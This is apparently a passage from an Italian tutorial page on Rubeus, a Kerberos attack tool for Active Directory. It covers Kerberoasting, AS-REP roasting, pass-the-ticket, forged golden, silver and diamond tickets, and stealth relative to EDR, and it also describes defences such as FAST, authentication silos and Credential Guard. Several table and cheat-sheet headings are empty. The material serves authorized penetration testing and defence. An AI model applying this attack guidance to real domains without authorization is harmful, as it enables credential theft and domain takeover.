• Sovrascrivere il TGT della sessione corrente: usare /ptt senza /createnetonly su un contesto già autenticato cancella il TGT esistente, a volte perdendo l’accesso che avevi.

Quando scegliere Rubeus #

FAQ #

Cos’è Rubeus? #

Rubeus è un tool C# open source di GhostPack per interagire col protocollo Kerberos in Active Directory: richiede, manipola e importa ticket TGT/TGS senza toccare la memoria di LSASS. Copre Kerberoasting, AS-REP Roasting, Pass-the-Ticket e l’abuso della delegation, ed è lo standard de facto per il credential access via Kerberos nei red team engagement.

Rubeus vs Mimikatz: quale usare? #

Rubeus non richiede privilegi amministrativi per la maggior parte delle azioni perché non tocca LSASS, quindi è più silenzioso e meno soggetto a detection EDR basata sull’accesso alla memoria di processo. Mimikatz resta superiore per l’estrazione diretta di credenziali dalla memoria (password in chiaro, hash NTLM) quando hai già privilegi elevati.

Serve essere amministratore per usare Rubeus? #

No, per Kerberoasting e AS-REP Roasting basta un account di dominio qualsiasi, perché sono richieste Kerberos legittime verso il KDC. Servono privilegi elevati solo per dump, che estrae ticket dalla cache LSASS di altri utenti sulla stessa macchina.

Quando NON usare Rubeus? #

Non usarlo per l’estrazione diretta di password in chiaro dalla memoria: quello è il compito di Mimikatz, non di Rubeus, che lavora solo a livello di protocollo Kerberos. Non usarlo nemmeno come primo passo senza aver prima enumerato il dominio con BloodHound — kerberoastare a caso su centinaia di account produce rumore inutile e spesso zero risultati utili.

Tabella MITRE ATT&CK completa #

Tutte le tecniche Kerberos che Rubeus implementa e il loro mapping MITRE:

Origine e storia: SpecterOps & GhostPack #

Rubeus non nasce dal nulla. Per capire l’autorevolezza dello strumento:

• SpecterOps è un top tier red team / security research firm (ex-Harmj0y e altre leggende di offensive security)
• GhostPack è la loro suite di tool C#: Rubeus, Seatbelt, SharpDPAPI, SharpUp, SharpWMI
• Kekeo è il padre di Rubeus — tool più vecchio di Will Schroeder che faceva Kerberos su Windows
• Rubeus evolve Kekeo, aggiunge moderno C#, refactoring, più comandi

Rubeus oggi è lo standard di facto nei Red Team engagement per tutto ciò che riguarda ticket Kerberos. È citato in OSEP, su HackThebox, nei report professionali di Mandiant/CrowdStrike.

Confronto rapido con alternative #

Rubeus può forgiare golden e silver ticket come Mimikatz? #

Sì. Rubeus non è solo per richiedere ticket legittimi: i comandi golden, silver e diamond forgiano ticket da zero (o li modificano) usando l’hash krbtgt o dell’account di servizio. Il diamond ticket, in particolare, è più difficile da rilevare perché parte da un TGT reale ottenuto con una richiesta legittima al KDC.

Tabella decisionale: quale comando usare #

Quando sei nel vivo di un assessment, rapido: cosa hai e cosa fai?

Mitigazioni moderne: FAST, Armoring, Authentication Policies #

Negli ultimi anni Microsoft ha aggiunto difese significative. Rubeus funziona lo stesso, ma devi sapere che ci sono contro te:

Kerberos Armoring (FAST — Flexible Authentication Secure Tunneling)

Se il dominio ha FAST abilitato (Group Policy su DC + client), ogni AS-REQ è criptato dentro una “armored tunnel” usando il TGT della macchina:

Client AS-REQ → [armored con TGT della macchina] → KDC

L’AS-REP torna criptato e sigillato. Implicazione: se non sei sulla macchina giusta (con il TGT della macchina), la richiesta fallisce con 0x19 - Additional pre-authentication required.

Rubeus e FAST: Funziona comunque, ma se sei esterno alla rete (da Linux con Impacket, o da WireGuard), FAST ti blocca. La macchina target deve avere il TGT della macchina — non basta il TGT utente.

Authentication Policies e Authentication Silos (Tier 0 protection)

Alcune aziende configurano “silos” di autenticazione: solo utenti Tier 0 possono autenticarsi da macchine Tier 0. Se provi a fare asktgt come admin da una macchina non autorizzata, il KDC rifiuta:

KDC: "Tu sei admin ma la tua macchina non è Tier 0 → No TGT"

Rubeus non può bypassare questo — è una regola del KDC.

Credential Guard

Se il target ha Credential Guard abilitato, i ticket in memoria sono criptati. Non puoi dumpare i TGT con dump — Rubeus non riesce a leggerli. Puoi ancora fare asktgt (negozia un nuovo ticket), ma non estrai ticket già in cache.

gMSA e password casuali

Sempre più account di servizio usano gMSA (Group Managed Service Account) — la password è casuale e ruotata ogni 30 giorni. Kerberoastare un gMSA è inutile, il crack non funziona mai.

Conclusione: Rubeus rimane lo standard Red Team, ma in ambienti moderni (Windows Server 2016+, Defender for Identity, FAST abilitato) la finestra di opportunità è più stretta. La strategia cambia: enumera di più, attacca di meno (e più preciso).

Cheat Sheet Finale #

Guide correlate su hackita.it #

• Kerberos: protocollo e attacchi
• Kerberoasting
• Mimikatz
• Golden Ticket
• Silver Ticket
• RBCD: Resource-Based Constrained Delegation

Riferimenti #

• GhostPack/Rubeus — repository ufficiale
• Rubeus Command Reference (DeepWiki)

Contenuto a scopo educativo per penetration test e red team operation autorizzati per iscritto. L’uso di Rubeus contro sistemi senza consenso esplicito del proprietario è illegale.

#tools #rubeus #active-directory #kerberos